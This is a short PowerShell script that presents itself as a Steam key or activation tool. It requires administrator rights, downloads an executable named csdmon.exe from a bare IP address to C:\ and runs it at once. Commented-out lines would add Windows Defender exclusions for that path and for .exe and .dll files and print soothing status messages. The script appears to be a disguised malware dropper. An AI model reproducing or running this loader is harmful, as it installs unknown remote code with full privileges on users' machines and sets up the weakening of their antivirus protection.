#Requires -RunAsAdministrator $isAdmin = [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match 'S-1-5-32-544') if (-not $isAdmin) { Write-Host "Please Run as Administrator" } $steamRegPath = 'C:\' $steamPath = 'C:\' $root = $steamPath.Substring(0,1) # 获取路径中的盘符部分 $rest = $steamPath.Substring(1) # 获取路径中盘符后面的部分 $steamPath = $root.ToUpper() + $rest # 将盘符部分转换为大写 # $steamPath = $filePath -replace "/", "\" # Write-Host $steamPath if ($null -ne $steamPath) { try { # exclude windows defender # if (Get-Service | where-object { $_.name -eq "windefend" -and $_.status -eq "running" }) { # Add-MpPreference -ExclusionPath $steamPath -ExclusionExtension ".dll",".exe" # Write-Host " [STEAM] Windows Defender has been exclude" # } # else { # Write-Host " [STEAM] Windows Defender exclude failed." # } # display Message # Write-Host " [STEAM] App is ready for run .please wait... " # Write-Host " [STEAM] Windows Defender has been clear " # Write-Host " [STEAM] Ready to go !!! " # Write-Host " [STEAM] watiing 1-3min " # download file and process $appStorePath = Join-Path $steamPath "csdmon.exe" $downloadUrl = "http://47.94.132.211:801/csdmon.exe" $backupUrl = "http://47.94.132.211:801/csdmon.exe" try { (New-Object Net.WebClient).DownloadFile($downloadUrl, $appStorePath) } catch { Write-Warning "Steamcdk failed. [STEAM] watiing." try { (New-Object Net.WebClient).DownloadFile($backupUrl, $appStorePath) } catch { Write-Error "Steamcdk failed. Please check your internet connection or colse 关闭VPN重试." } } # lauch execute our exe file; Start-Process -FilePath $appStorePath } catch { } }